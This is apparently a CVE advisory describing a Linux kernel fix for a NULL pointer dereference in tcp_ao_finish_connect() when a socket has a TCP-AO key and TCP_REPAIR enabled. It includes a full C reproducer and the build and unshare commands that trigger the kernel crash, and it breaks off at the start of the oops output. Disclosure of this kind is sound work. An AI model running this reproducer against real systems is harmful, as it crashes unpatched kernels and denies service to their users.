CVE-2025-39950 — net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

Affected: Linux

In the Linux kernel, the following vulnerability has been resolved:

net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled.

The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation.

Fix this by checking if skb is NULL before dereferencing it.

The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it.

int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1;

memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao));

sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr.sin_family = AF_INET;

memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16;

memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));

setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));

sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123);

inet_aton("127.0.0.1", &sockaddr.sin_addr);

connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));

return 0; }

$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn

BUG: ke…

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CVE-2025-39950 — net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR